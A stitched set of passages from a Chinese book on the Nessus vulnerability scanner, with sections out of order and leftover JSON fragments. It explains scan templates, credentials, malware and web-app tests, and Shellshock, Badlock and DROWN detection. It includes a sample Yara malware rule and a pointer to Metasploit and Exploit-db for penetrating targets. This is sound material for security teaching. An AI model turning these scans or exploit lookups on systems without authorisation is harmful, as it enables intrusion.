此时，即可对所有配置项进行修改。例如，修改Host值为所有主机，即设置Host文本框为空，然后单击Save按钮保存设置，如图5.34所示。 图5.33 插件规则编辑对话框 图5.34 编辑后的插件规则 从图5.34所示界面可以看到，Host列的值为*（星号），即表示所有主机。 3.删除插件规则 如果用户不再需要创建的插件规则时，则可以将其删除。方法是单击插件规则中的删除按钮 ，即可删除该插件规则，如图5.35所示。 单击删除按钮 后，将弹出一个删除规则提示对话框，如图5.36所示。单击Delete按钮，即可删除该规则。 图5.35 删除插件规则 图5.36 删除规则提示对话框 未知 5.4 基于漏洞选择模板 用户还可以根据漏洞情况，选择扫描模板。其中，用户可以选择的模板有基础网络扫描、高级扫描和高级动态扫描。本节将介绍这里几种漏洞模板的区别及选择。"},
    {"text": "未知 5.4.1 基础网络扫描 基础网络扫描（Basic Network Scan）模板可以根据目标扫描的端口和识别的服务，自动匹配插件，并且用户不能对其插件进行修改。如果用户只是简单的对目标进行漏洞扫描，则可以选择基础网络扫描模板。在扫描模板列表中，单击Basic Network Scan模板，将显示基础网络扫描设置界面，如图5.37所示。 在该模板中，用户可以自定义配置选项，但是不能修改插件。例如，选择DISCOVERY选项，将显示发现选项设置界面，如图5.38所示。 图5.37 基础网络扫描模板 图5.38 发现选项设置界面 单击Scan Type下拉列表，选择Custom选项，即可设置为所有发现选项，如图5.39所示。 从该界面可以看到，用户可以设置Host Discovery（主机发现）、Port Scanning（端口扫描）和Service Discovery（服务发现）。此时，用户选择任意一个选项，即可进行对应设置。选择Plugins选项卡，将显示默认定制的插件列表，如图5.40所示。 图5.39 发现选项 图5.40 插件列表 从图5.40所示界面可以看到默认定制的所有插件族，但用户无法禁用或者启用某个插件。 未知 1.2.1 什么是Nessus Nessus是一款功能非常强大的漏洞扫描软件，它是一种典型的客户端/服务器结构的网络扫描系统。其中，客户端包括用户配置工具和结果存储/报告生成工具，服务器端包括一个漏洞数据库（由插件组成）、当前活动扫描知识库和一个扫描引擎，如图1.1所示。 图1.1 Nessus的结构 从图1.1中可以看到，Nessus客户端和服务器端分别由多个部分组成。为了使用户更加清楚各个组成部分的作用，下面将对其做一个简单介绍。 1.用户配置工具 用户配置工具用来设置要扫描的目标系统，以及要扫描哪些漏洞。例如，Nessus最常用的用户配置工具形式为浏览器。 2.扫描引擎 扫描引擎是扫描器的主机部件。如果采用匹配检测方法，则扫描引擎根据用户的配置组装好相应的数据包并发送到目标系统，目标系统进行应答，再将应答数据包与漏洞数据库中的漏洞特征进行比较，从而判断所选择的漏洞是否存在；如果采用的是插件技术，则扫描引擎根据用户的配置，调用扫描方法库中的模拟攻击代码对目标主机系统进行攻击，如果攻击成功，则说明主机系统存在安全漏洞。 3.扫描知识库 扫描知识库用于监控当前活动的扫描，将要扫描的漏洞相关信息提供给扫描引擎，同时还接收扫描引擎返回的扫描结果。 4.结果存储器和报告生成工具 结果存储器和报告生成工具用来根据扫描知识库中的扫描结果生成扫描报告并存储。Nessus支持多种报告生成格式，如PDF、HTML和CSV等。 5.漏洞数据库/扫描方法库 漏洞数据库包含了各种操作系统的各种漏洞信息，以及检测漏洞的方法。该数据库是根据安全专家对网络系统安全漏洞、黑客攻击案例的分析和系统管理员对网络系统安全配置的实际经验总结形成的。而扫描方法库包含了针对各种漏洞的模拟攻击方法。如果使用匹配检测方法，则使用漏洞数据库；如果使用模拟攻击方法（即插件技术），则使用扫描方法库。 Nessus的扫描方法采用的是插件技术。插件是用脚本语言编写的子程序，通常系统先制定扫描策略，然后扫描程序根据扫描策略调用一系列插件来执行漏洞扫描，检测出系统中存在的一个或多个漏洞。通常一个插件负责扫描一个或一类漏洞，不同的漏洞扫描插件对应不同的漏洞，添加新的插件就可以使漏洞扫描软件增加新的功能，扫描出更多的漏洞。 未知 5.4.2 高级扫描 高级扫描（Advanced Scan）模板允许用户选择使用的插件族和具体的插件。如果用户想要自己定制漏洞扫描插件，则需要选择高级扫描模板。在扫描模板列表中，单击Advanced Scan模板，将显示高级扫描模板设置界面，如图5.41所示。 图5.41 高级扫描模板设置界面 在该模板中，用户可以手动配置所有的选项，并且可以选择使用的插件。选择Plugins选项卡，将显示插件列表界面，如图5.42所示。 图5.42 插件列表界面 在该界面中用户可以选择使用的插件族或插件。"},
    {"text": "未知 5.4.3 高级动态扫描 高级动态扫描（Advanced Dynamic Scan）模板不使用默认推荐插件，而是直接根据条件匹配特定的插件。例如，用户知道漏洞CVE编号时，则可以根据CVE ID号查找匹配的特定插件。当对主机进行特定漏洞扫描时，就可以选择使用高级动态扫描模板。在扫描模板列表中，单击Advanced Dynamic Scan模板，将显示高级动态扫描设置界面，如图5.43所示。 图5.43 高级动态扫描设置界面 在该界面中选择Dynamic Plugins选项卡，将显示动态插件设置界面，如图5.44所示。 图5.44 动态插件设置界面 此时，用户即可查找匹配的漏洞插件，然后使用匹配的插件对目标实施扫描。其中，在Match（匹配）下拉列表中，用户可以选择为All（匹配所有插件）或Any（匹配任意一个插件）；匹配条件包括三个配置项，依次为插件属性、关系和值。用户选择的插件属性不同，可使用的关系和值也不同。过滤条件的属性值，主要依赖选择的插件属性。用户可以输入或从下拉列表中选择一个值。支持的插件属性如表5.1所示。 表5.1 可搜索的条件 用于指定关系的选项如表5.2所示。 表5.2 关系选项 【实例5-1】 查找一个微软安全公共编号MS17-010的漏洞。其中，指定的过滤条件如图5.45所示。具体操作步骤如下： 图5.45 过滤条件 （1）单击Preview Plugins按钮，将显示搜索到的插件，如图5.46所示。 图5.46 选择一个插件族 （2）从图5.46所示界面可以看到，显示了一个选择插件族下拉列表框。单击该下拉列表，选择插件族Windows(1)，将显示对应的插件信息，如图5.47所示。 图5.47 匹配的插件 （3）从图5.47所示界面可以看到找出的匹配插件，其ID为97833。单击找到的插件，即可查看该插件的详细信息，如图5.48所示。 图5.48 插件详细信息 从图5.48所示界面可以看到插件的所有相关信息，如概要、描述、解决方法、参考文档等。由于无法截取到整个页面，所以部分信息没有显示出来。 （4）用户还可以添加多个过滤条件。单击添加按钮，即可添加一个新的过滤器，如图5.49所示。 图5.49 添加多个过滤器 未知 5.5 扫描精度 用户在配置漏洞扫描任务时，还可以设置扫描精度，以提升漏洞扫描效率。在扫描任务配置界面，依次选择ASSESSMENT|General选项，打开通用设置界面，如图5.50所示。 图5.50 通用设置 该界面包括三部分漏洞扫描配置项，分别是Accuracy、Antivirus和SMTP。其中，Accuracy部分用来配置扫描精度，如图5.51所示。 图5.51 扫描精度 下面介绍该部分的配置选项及含义。 ·Override normal accuracy：是否覆盖正常的精确度。在某些情况下，Nessus远程无法确定目标是否存在漏洞。如果精度设置为“显示潜在的假警报”，一个漏洞将会被报告一次；反之，如果设置为“避免潜在的假警报”，可能会造成Nessus不报告任何漏洞，从而导致远程主机的不确定性。不启用“覆盖正常精度”是这两个设置之间的中间地带。 ·Avoid potential false alarms：避免潜在的假警报。 ·Show potential false alarms：显示潜在的假警报。 ·Perform thorough tests(may disrupt your network or impact or impact scan speed)：是否实现彻底的测试。在某些情况下，这种扫描可能导致更多的网络流量和分析。需要注意的是，更彻底的扫描将具有侵入性，并有可能破坏网络，同时可能会有更好的审核结果。 Antivirus部分用来设置防病毒的宽限期，如图5.52所示。 图5.52 杀毒配置 该部分只有一个选项，即Antivirus definition grace period(in days)，用于指定防病毒定义的宽限期，单位为天。默认设置是0天，可设置的值有1、2、3、4、5、6、7。该选项允许用户执行Nessus，在报告时防病毒签名被视为过时的特定期限。默认情况下，Nessus会考虑无论多久以前有可用更新时，签名将过期。 SMTP部分用来设置如何扫描域中所有正在运行的SMTP服务。Nessus将尝试通过指定的“第三方域”进行邮件中继服务。其中，SMTP设置部分如图5.53所示。 下面介绍该部分的选项及含义。 ·Third party domain：该选项用来指定一个第三方域。Nessus将通过SMTP的每个设备，尝试向该字段中列出的地址发送垃圾邮件。其中，第三方域地址必须是被扫描的网站或扫描范围之外的网站，否则SMTP服务器将终止测试。 ·From address：指定发送邮件的地址。 ·To address：指定接收邮件的地址。 图5.53 SMTP设置"},
    {"text": "未知 5.6 分析结果 当用户对目标实施漏洞扫描完成后，即可分析扫描结果。为了帮助用户更好地了解目标主机中的漏洞信息，本节将介绍分析漏洞结果的方法。 【实例5-2】 分析扫描漏洞结果。操作步骤如下： （1）在扫描结果中，打开一个具体的漏洞扫描结果，如图5.54所示。 图5.54 漏洞详细信息 （2）图5.54界面显示了SNMP Agent Default Community Name(public)漏洞报告的详细信息包括该漏洞的描述信息、解决方法、输出及开放的端口。在右侧部分可以看到插件详细信息（Plugin Details）、风险信息（Risk Information）、漏洞信息（Vulnerability Information）和参考信息（Reference Information）。对于用户扫描出的漏洞，具体如何利用，需要对右侧的信息进行详细分析。下面将分别介绍每部分信息。其中，插件详细信息（Plugin Details）如下： Plugin Details #插件详情 Severity: High #安全级别 ID: 41028 #插件ID Version: 1.13 #版本 Type: remote #类型 Family: SNMP #插件族 Published: November 25, 2002 #发布时间 Modified: August 22, 2018 #修改时间 从该部分可以看到，当前插件的安全级别为High、ID为41028、类型为remote（远程）。用户还可以修改该漏洞的安全级别。单击修改按钮，将弹出修改漏洞对话框，如图5.55所示。 图5.55 修改漏洞对话框 单击Severity下拉列表，即可修改该漏洞的安全级别。其中，可以选择的安全级别值有Hide this result、Info、Low、Medium、High和Critical。修改完成后，单击Save按钮使配置生效。 风险信息（Risk Information）如下： Risk Information #风险信息 Risk Factor: High #风险系数 CVSS Base Score: 7.5 #通用漏洞评分系统基本评分 CVSS Temporal Score: 5.5 #通用漏洞评分系统生命周期评分 CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P #通用漏洞评分系统向量 CVSS Temporal Vector: CVSS2#E:U/RL:OF/RC:C #通用漏洞评分系统生命周期向量 从该部分信息可以看到当前漏洞的风险系数、漏洞评分和漏洞评分系统向量。漏洞的最终得分最大为10，最小为0。其中，得分7~10的漏洞通常被认为比较严重；得分在4~6.9之间的是中级漏洞；0~3.9的则是低级漏洞。所以，用户通过分析漏洞评分，即可判断出该漏洞的严重性。 漏洞信息（Vulnerability Information）如下： Vulnerability Information #漏洞信息 Exploit Available: false #是否可利用 Exploit Ease: No exploit is required #漏洞利用难易程度 Vulnerability Pub Date: November 17, 1998 #漏洞发布日期 从该部分信息可以看到漏洞是否可利用、利用的难易程度及漏洞发布日期。通过分析漏洞信息，即可知道该漏洞是否最新以及是否可利用。上面显示的信息说明当前漏洞不可利用，发布日期为1998年11月17日。 参考信息（Reference Information）如下： BID: 2112 #软件漏洞跟踪ID CVE: CVE-1999-0517 #漏洞CVE ID号 从该部分信息可以看到当前漏洞的BID和CVE ID号。此时，用户单击BID和CVE号可以查看该漏洞对应的参考文档。另外，用户还可以根据CVE ID在Metasploit框架或Exploit-db网站中查找可利用的漏洞模块，然后利用该漏洞对目标实施渗透。 提示： 不同漏洞显示的详细信息可能不同。对于一些漏洞，可能会提供更多的漏洞信息和参考信息。用户根据给出的信息，可以对其漏洞有更清晰的认识。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第6章 专项扫描 针对恶意软件和Web服务，Nessus提供了两个专项扫描配置选项，分别为恶意软件扫描（Malware Scan）和Web应用扫描（Web Application Tests）。本节将分别介绍这两个专项扫描配置选项的设置方法。 未知 6.1 恶意软件扫描 恶意软件是指介于病毒和正规软件之间的软件。如果在计算机中存在恶意软件，将会给系统带来危害。本节将介绍恶意软件扫描的相关设置。 未知 6.1.1 创建扫描任务 在扫描模板界面中，单击Malware Scan模板，新建扫描任务。依次选择ASSESSMENT|Malware选项，将打开恶意软件扫描设置界面，如图6.1所示。 图6.1 恶意软件扫描设置界面 从图6.1所示界面可以看到，默认没有启用恶意软件扫描功能。单击开关按钮，即可启动恶意软件扫描，如图6.2所示。 图6.2 成功启用恶意软件扫描 此时，表示成功启动了恶意软件扫描。接下来，用户即可对恶意软件扫描进行相关设置。其中包括8部分，分别是General Settings（通用设置）、Hash and Whitelist Files（哈希和白名单）、Yara Rules（Yara规则）、File System Scanning（文件系统扫描）、Windows Directories（Windows目录）、Linux Directories（Linux目录）、MacOS Directories（MacOS目录）和Custom Directories（指定目录）。 其中，通用设置部分适用于所有扫描任务。该部分的配置选项只有一个，即Disable DNS resolution，用于设置是否禁用DNS解析，如图6.3所示。 图6.3 通用设置 接下来的6.1.2～6.1.4节将分别介绍哈希和白名单部分、Yara规则部分和文件系统扫描部分的配置。"},
    {"text": "未知 6.1.2 使用恶意软件黑白名单 黑白名单用来指定扫描或排除的主机或软件。其中，黑名单用来指定扫描的目标主机或软件；白名单用来指定排除的主机或软件。使用恶意软件黑白名单设置部分如图6.4所示。 图6.4 恶意软件黑白名单 下面介绍恶意软件黑白名单的配置选项及含义。 ·Custom Netstat IP Threat List：自定义监听IP线程列表。 ·Provide your own list of known bad MD5/SHA1/SHA256 hashes：指定一个恶意软件黑名单，该文件保存对应文件的MD5/SHA1/SHA256哈希值。 ·Provide your own list of known good MD5/SHA1/SHA256 hashes：指定一个非恶意软件白名单，该文件保存对应文件的MD5/SHA1/SHA256哈希值。 ·Hosts file whitelist：指定一个主机白名单文件。 未知 6.1.3 使用Yara规则 Yara是一款开源工具，用于帮助恶意软件研究人员识别和分类恶意软件样本。Yara使用文本或二进制信息描述特定的恶意软件，每个描述信息被称为一个规则，它由一组字符串和一个布尔表达式组成。下面是一个Yara的规则范例。 rule silent_banker : banker { meta: description = \"This is just an example\" thread_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = \"UVODFRYSIHLNWPEJXQZAKCBGMT\" condition: $a or $b or $c } Nessus支持使用Yara规则标识恶意软件。该部分的配置选项只有一个，即Yara Rules，用于指定一个Yara扫描规则文件，如图6.5所示。 图6.5 Yara规则 未知 6.1.4 文件系统扫描 Nessus可以针对目标系统的文件系统进行扫描，以发现恶意软件。针对不同的操作系统，恶意软件潜藏的位置也不同，需要用户指定扫描的路径。默认情况下，文件系统扫描功能没有启用，如图6.6所示。 图6.6 文件系统扫描 单击开关按钮 ，即可启动文件系统扫描功能，如图6.7所示。 图6.7 成功启动文件系统扫描功能 此时，用户即可对各个系统目录实施扫描设置。 1.Windows目录 当用户启动文件系统扫描功能后，即可设置扫描Windows目录、Linux目录、MacOS目录和自定义目录。其中，扫描的Windows目录配置部分如图6.8所示。 从该界面可以看到，可以扫描的Windows目录有Scan%Systemroot%、Scan%ProgramFiles%、Scan%ProgramFiles(x86)%、Scan%ProgramData%和Scan User Profiles。用户想要扫描哪些Windows目录，只需选中目录前面的复选框即可。 图6.8 Windows目录 2.Linux目录 扫描的Linux目录配置部分如图6.9所示。 从该界面可以看到，可以扫描的Linux目录有两个，分别是Scan$PATH和Scan/home。 3.MacOS目录 扫描的MacOS目录配置部分如图6.10所示。 图6.9 Linux目录 图6.10 MacOS目录 从图6.10所示界面可以看到，可以扫描的MacOS目录有4个，分别是Scan$PATH、Scan/Users、Scan/Applications和Scan/Library。 4.指定目录 如果用户还希望扫描其他文件系统，可以手动指定目录。其中，指定目录设置部分如图6.11所示。 图6.11 指定目录 从该界面可以看到，用户需要通过加装文件的方式来指定扫描目录。所以，用户首先需要将扫描的目录输入到一个文件中。其中，用户指定的目录需要是一个变量。例如，指定根目录不可以写为'C:\\'或'/'，而应该写为%Systemroot%。输入完成后，单击Add File选项，选择指定目录的文件即可。 未知 1.2.2 Nessus的工作方式 Nessus是一种基于客户端/服务器结构的网络扫描系统。所以，在使用Nessus扫描系统之前，需要先在客户端（如浏览器）请求连接服务器。由于访问Nessus服务器需要安全认证，所以在连接之前将会创建一个证书。当认证成功后，即可连接到Nessus服务器。另外，Nessus在工作之前，将进行一个初始化，该过程主要是创建一个管理用户、下载或更新插件组，然后即可创建扫描任务，并实施漏洞扫描。扫描完成后，用户即可对其结果进行分析，并且生成报告。 Nessus的扫描过程需要客户端与服务器端相互配合，共同完成，其工作流程如图1.2所示。 图1.2 Nessus工作流程 未知 6.2 Web应用扫描 Web应用是一种可以通过Web访问的应用程序，如网站。如果网站存在漏洞，则可能进行数据库注入、登录后台及上传后门文件等。本节将介绍对Web应用扫描的相关配置。 未知 6.2.1 创建扫描任务 在扫描模板界面中，单击Web Application Tests模板，新建扫描任务。在扫描任务配置界面，选择ASSESSMENT选项，并选择扫描类型为Custom，如图6.12所示。 选择ASSESSMENT|Web Applications选项，将打开Web应用程序设置界面，如图6.13所示。 该界面包括4个设置部分，分别是Web Application Settings（Web应用程序设置）、General Settings（通用设置）、Web Crawler（网络爬虫）和Application Test Settings（应用测试设置）。其中，Web应用程序设置用来设置是否启用Web应用扫描功能，如图6.14所示。 图6.12 自定义ASSESSMENT选项 图6.13 Web应用程序设置 从图6.14所示界面可以看到，当前模板已经启用了Web应用扫描。如果用户自定义扫描模板，则需要手动启动该功能。单击开关按钮 ，即可启动Web应用扫描功能。 图6.14 启用Web应用扫描功能"},
    {"text": "未知 6.2.2 设置用户代理 用户代理（User Agent，简称UA）是一个特殊字符串，用来标识客户端的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。服务器通过用户代理，可以优化返回给客户端的响应。 用户代理设置位于通用设置部分，该部分的配置选项只有一个，即Use a custom User-Agent，表示使用一个自定义的用户代理，如图6.15所示。 图6.15 通用设置 未知 6.2.3 网络爬虫 网络爬虫（Web Crawler）又称为网页蜘蛛，它可以按照一定的规则，自动地抓取万维网信息的程序或脚本。通过网络爬虫，Nessus可以获取到网页中的各种数据。网络爬虫设置部分如图6.16所示。 图6.16 网络爬虫 图6.16所示界面可以设置爬行的起始位置、页面、爬行深度等。下面介绍每个选项及含义。 ·Start crawling from：指定爬行的第一页的URL。 ·Excluded page(regex)：使用正则表达式指定不扫描的页面。 ·Maximum page to crawl：指定爬行的最大页。 ·Maximum depth to crawl：指定爬行的最大深度。 ·Follow dynamically generated pages：跟随动态生成页面。 未知 6.2.4 测试方式 应用测试设置界面用来设置Web应用的相关测试，如图6.17所示。 图6.17 应用测试设置 下面介绍该部分的设置选项及含义如下。 ·Enable generic web application tests：启用通用的Web应用程序测试。 ·Abort web application tests if HTTP login fails：如果HTTP登录失败，终止Web应用程序测试。 ·Try all HTTP methods：尝试使用所有的HTTP方法进行扫描。Nessus默认仅使用GET方法进行扫描。 ·Attempt HTTP Parameter Pollution：尝试HTTP参数污染。 ·Test embedded web servers：测试嵌入式的Web服务器。 ·Test more than one parameter at a time per form：每个Form表单一次测试多个参数。 ·Test random pairs of parameters：测试随机成对参数。 ·Test all pairs of parameters(slow)：测试所有成对的参数。启用这种方式后，测试速度变慢，但是效率会提高。 ·Test random combinations of three or more parameters(slower)：测试随机组合的三个或多个参数。使用这种方法测试更慢，但是测试更彻底。 ·Test all combinations of parameters(slowest)：测试参数的所有组合。这种测试方法会将攻击字符串，与有效的输入变量的所有可能组合，都进行测试。 ·Do not stop after the first flaw is found per web page：找到每个Web页的第一个漏洞后，继续进行扫描。 ·Stop after one flaw is found per web server(fastest)：找到任意Web服务器一个漏洞后，则停止扫描。 ·Stop after one flaw is found per parameter(slow)：每个参数发现一个漏洞后，则停止扫描。 ·Look for all flaws(slowest)：查找所有漏洞。无论是否找到漏洞，都要进行全面扫描。 ·URL for Remote File Inclusion：指定远程文件包含的URL。 ·Maximum run time(minutes)：设置实施Web应用程序测试的总时间，单位为分钟。默认设置为5分钟。"},
    {"text": "未知 6.2.5 HTTP认证 HTTP是Web应用的核心协议。对于一些特定网站，则需要身份认证才可以访问，如路由器管理界面。为了对这些网站进行扫描，就需要用户提供相应的认证信息。下面将介绍设置HTTP认证的方法。 在Web应用测试扫描任务配置界面，选择Credentials选项卡，打开认证设置界面，选择Plaintext Authentication认证种类，如图6.18所示。 图6.18 认证设置界面 从图6.18所示界面可以看到，当前认证种类只有一个HTTP认证方式。单击HTTP认证，将显示HTTP认证设置界面，如图6.19所示。 图6.19 HTTP认证设置 图6.19所示界面包括两部分设置，分别是HTTP（HTTP认证）和Global Credential Settings（全局认证设置）。其中，HTTP认证设置部分如图6.20所示。 首先在选项Authentication method中指定认证方式。其中，支持的认证方式有Automatic authentication、Basic/Digest authentication、HTTP login form和HTTP cookies import。下面依次讲解这4种认证方式。 图6.20 HTTP认证 1.Automatic authentication方式 Automatic authentication表示自动身份认证方式。该认证方式的设置界面如图6.21所示。 图6.21 Automatic authentication方式 下面介绍该部分的设置选项及含义。 ·Username：指定认证用户名。 ·Password：指定认证密码。 2.Basic/Digest authentication方式 Basic/Digest authentication（基本/摘要认证）就是每次请求API时，都提供用户的用户名和密码。其中，基本认证便捷灵活，但是不安全。使用这种方式，用户名和密码都以明文形式传输，只是用Base64进行了编码。HTTP摘要认证是用来代替基本认证的，它是一种协议规定的Web服务器用来同网页浏览器进行认证信息协商的方法。它在密码发出前，先对其应用哈希函数加密。相对于HTTP基本认证发送明文而言，这种方式更安全。其中，Basic/Digest authentication方式的设置界面如图6.22所示。 图6.22 Basic/Digest authentication方式 下面介绍该部分的设置选项及含义。 ·Username：指定认证用户名。 ·Password：指定认证密码。 3.HTTP login form方式 HTTP login form就是通过HTML的表单方式提交用户名和密码。该认证方式的设置界面如图6.23所示。 图6.23 HTTP login form方式 下面介绍该认证方式的每个选项及含义。 ·Username：指定认证的用户名。 ·Password：指定认证的密码。 ·Login page：指定登录页面。 ·Login submission page：指定登录的提交页面。 ·Login parameters：指定登录参数。 ·Check authentication on page：检测需要认证受保护的Web页面的URL。 ·Regex to verify successful authentication：指定验证成功身份认证的正则表达式。 4.HTTP cookies import方式 HTTP cookies import就是Cookie认证。网站为了标识客户端，会在客户端建立一个Cookie文件，用于保存认证信息和浏览者的操作信息。浏览者通过网站登录认证后，Cookie将保存浏览者的登录信息。在一段时间内，浏览者就能以该用户身份访问网站。HTTP cookies import方式的设置如图6.24所示。 图6.24 HTTP cookies import方式 这里只提供了一个Cookies File选项，用来加载Cookie文件。用户只需将Cookie信息保存在一个文件中，并单击Add File选项，即可加载Cookie文件。 全局认证设置部分如图6.25所示。 图6.25 全局认证设置 下面介绍该部分的设置选项及含义。 ·Login method：指定登录方法。 ·Re-authenticate delay(seconds)：指定认证尝试的时间延迟。这样可以有效地避免触发强制的锁定机制。 ·Follow 30x redirections(#of levels)：如果从一个Web服务器上接收到30x重定向代码，Nessus将跟踪Web服务器的链接。 ·Invert authenticated regex：反向进行正则表达式匹配。 ·Use authenticated regex on HTTP headers：对于一个给定的正则表达式，Nessus搜索HTTP响应头，而不是搜索响应的内容来确定认证状态。 ·Case insensitive authenticated regex：忽略大小写匹配。默认情况下，正则表达式搜索对大小写敏感。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第7章 特定漏洞扫描 Nessu针对一些特定漏洞，提供了专门的扫描任务模板，如Badlock漏洞探测、Bash Shellshock漏洞探测等。本章将介绍对这些特定漏洞实施扫描的方法。"},
    {"text": "未知 7.1 证书修复审计 证书就是让客户端来证明自己身份的，然后可以顺利连接到服务器。如果扫描一台主机时，客户端可以成功登录到远程主机，则可以获得大量有价值的信息。在Nessus中，默认提供了一个证书审计模板，用户可以直接使用该模板来创建一个扫描任务，用于扫描目标主机中需要更新或丢失的软件。下面将介绍实施证书修复审计扫描的方法。 【实例7-1】 对目标主机RHEL 6.4实施证书修复审计扫描。具体操作步骤如下： （1）新建扫描任务。在Nessus扫描任务模板中选择Credentialed Patch Audit模板新建扫描任务，如图7.1所示。 图7.1 新建扫描任务 （2）在新建任务扫描界面设置扫描任务的名称和目标。该模板通用支持两种扫描方式，分别是Port scan(common ports)和Port scan(all ports)。这两种扫描方式和前面介绍的端口扫描方式工作原理是相同的。所以，用户可以根据自己的需要进行选择。其他选项直接使用默认设置即可。该策略主要是利用证书来实现扫描的，所以还需要配置一个证书。在该界面中选择Credentials选项卡，将显示如图7.2所示的界面。 图7.2 添加证书 （3）这里包括4种证书类型，分别是Database（数据库）、Host（主机）、Miscellaneous（杂项）和Plaintext Authentication（纯文本认证）。单击CATEGORIES下拉列表，可以选择任何一类证书。本例中使用默认的Host类型，添加主机中的SSH服务证书。单击SSH，配置证书，如图7.3所示。 图7.3 配置SSH证书 （4）这里设置SSH证书的用户名、认证方法和密码。设置完成后，单击Save按钮保存设置并启动扫描任务。本例中的扫描结果如图7.4所示。 图7.4 漏洞主机 （5）从图7.4所示界面可以看到该主机中包含有不同级别的漏洞信息。可以单击该主机地址查看所有的漏洞条目，如图7.5所示。 图7.5 漏洞条目 （6）从图7.5所示界面的Name（插件名）列可以看到，Nessus对远程主机上安装的所有软件进行了漏洞扫描。如果版本太低，Nessus将会给出软件的最新版本。例如，查看第一条最严重的漏洞信息，即插件名为Red Hat Update Level的漏洞信息，如图7.6所示。 （7）从图7.6所示界面的描述信息中可知，远程主机丢失了最新的修复更新包，所以可能导致该主机中存在各种安全漏洞；解决方法就是对系统进行更新，从Output信息中，可以看到目标系统安装的版本为6.4，最新版本已为6.9。 图7.6 漏洞详细信息 未知 7.2 Badlock漏洞探测 Badlock是一种协议/中间人攻击漏洞，可以模拟Windows AD已存在的用户身份发动攻击。在此种攻击中，攻击者可被授予读写SAM数据库的权限，可能造成所有用户名、密码和其他潜在敏感信息泄露。在Nessus中，提供了Badlock Detection扫描模板，可以用来探测模板主机中是否存在Badlock漏洞。 【实例7-2】 探测目标主机中是否存在Badlock漏洞。具体操作步骤如下： （1）新建Badlock漏洞扫描任务。在扫描任务模板中单击Badlock Detection模板，将显示如图7.7所示的界面。 （2）在该界面中设置扫描任务的名称和扫描目标。设置完成后，单击Save按钮，并开始实施扫描。扫描完成后，显示结果如图7.8所示。 （3）从该界面可以看到目标主机中存在一个中等漏洞。单击该主机，即可查看漏洞信息，如图7.9所示。 图7.7 设置扫描任务 图7.8 扫描结果 （4）从图7.9所示界面可以看到存在的3个漏洞信息。从显示的信息中，可以看到中等漏洞为MS16-047漏洞，由此可以说明目标主机中存在Badlock漏洞。这里查看该漏洞的详细信息，如图7.10所示。 图7.9 漏洞信息 图7.10 漏洞详细信息 （5）从图7.10所示界面显示的信息中可知，目标主机中存在Samba Badlock漏洞。用户可以升级目标主机的Samba版本来修复该漏洞。"},
    {"text": "未知 7.3 Bash Shellshock漏洞探测 Shellshock属于Linux操作系统中Bash环境的一种远程登录漏洞，攻击者可以利用该漏洞远程登录目标主机，并且完全控制该主机，如破坏数据、关闭网络或对网站发起攻击等。在计算机中，支持远程登录的服务有很多，如SSH、Telnet等。当客户端登录时，使用服务对应的端口进行连接。所以，Nessus工具可以通过扫描端口来探测目标主机是否存在Shellshock漏洞。由于Shellshock漏洞支持PHP语言，所以网站服务也可能被攻击。因此，在使用Nessus扫描Shellshock漏洞时，扫描的端口包括TCP和SSL端口。 对于Shellshock漏洞扫描，Nessus提供了三种扫描方式，分别是普通扫描、快速扫描和完全扫描。这三种方式的区别就是扫描的端口范围不同。其中，普通扫描方式的端口范围是Nessus默认扫描的一些端口；快速扫描方式的端口包括23、25、80和443；完全扫描方式则包括所有的TCP端口。 【实例7-3】 扫描目标主机REHL 6.4中是否存在Shellshock漏洞。具体操作步骤如下： （1）新建Shellshock漏洞扫描任务。在扫描任务模板中单击Bash Shellshock Detection模板，将打开如图7.11所示的界面。 图7.11 设置扫描任务 （2）在图7.11所示界面中设置扫描任务的名称和扫描目标。接下来，选择左侧的DISCOVERY选项，设置扫描类型，如图7.12所示。 图7.12 设置扫描类型 （3）在图7.12所示界面中可以选择不同的扫描类型。本例中选择快速扫描，即扫描类型为Quick。从显示的选项中，可以看到这种类型扫描的TCP端口包括23、25、80和443。为了能够远程登录主机，这里指定一个证书用于登录认证。选择Credentials选项卡，将显示如图7.13所示的界面。 图7.13 添加证书 （4）从图7.13所示界面可以看到，该策略可以添加一个SSH证书。其中，证书内容如图7.13所示。设置完成后，单击Save按钮保存设置并开始进行扫描。扫描完成后，漏洞显示结果如图7.14所示。 图7.14 漏洞信息 （5）从图7.14所示界面显示的信息中可以看到，目标主机中存在非常严重的Shellshock漏洞。此时，用户可以查看每个漏洞的详细信息，如图7.15所示。 图7.15 漏洞详细信息 （6）从描述信息中可以看到，远程主机中正在运行着有漏洞版本的Bash，攻击者可以利用该漏洞在远程主机上执行任何代码。最好的解决方法，就是更新远程主机中的Bash。 未知 1.3 OpenVAS概述 开放式漏洞评估系统（Open Vulnerability Assessment System，OpenVAS）是一个包含着相关工具的网络扫描器，其核心部分是一个服务器。该服务器包括一套网络漏洞测试程序，可以检测远程系统和应用程序中的安全问题。不同于传统的漏洞扫描软件，所有的OpenVAS软件都是免费的，而且还采用了Nessus（一款强大的网络扫描工具）较早版本的一些开放插件。虽然Nessus强大，但是该工具不开源，而且免费版的功能又比较局限。本节将对OpenVAS的概念及架构做一个简单介绍。 未知 7.4 DROWN溺亡漏洞探测 现在流行的服务器和客户端都使用了TLS加密，SSL和TLS协议保证用户上网冲浪、购物、即时通信不被第三方读取到。DROWN（溺亡）漏洞允许攻击者破坏这个加密体系，通过“中间人劫持攻击”读取或偷取敏感通信，包括密码、信用卡账号、商业机密、金融数据等。在Nessus中，提供了DROWN（溺亡）漏洞扫描功能。下面将介绍使用Nessus的DROWN Detection模板来探测目标主机是否存在DROWN漏洞的方法。 【实例7-4】 扫描目标主机RHEL 6.4中是否存在DROWN（溺亡）漏洞。具体操作步骤如下： （1）登录Nessus服务，然后单击New Scan按钮新建扫描任务，将显示扫描任务模板界面，如图7.16所示。 图7.16 扫描任务模板 （2）在该界面中单击DROWN Detection模板，将显示如图7.17所示的界面。 （3）在该界面中指定扫描任务的名称和目标。该界面也显示了该策略的作用，是用来探测DROWN（CVE-2016-0800）漏洞的。此时，用户可以单击左侧栏中的Discovery选项，设置扫描方式，如图7.18所示。 图7.17 设置扫描任务 图7.18 设置扫描方式 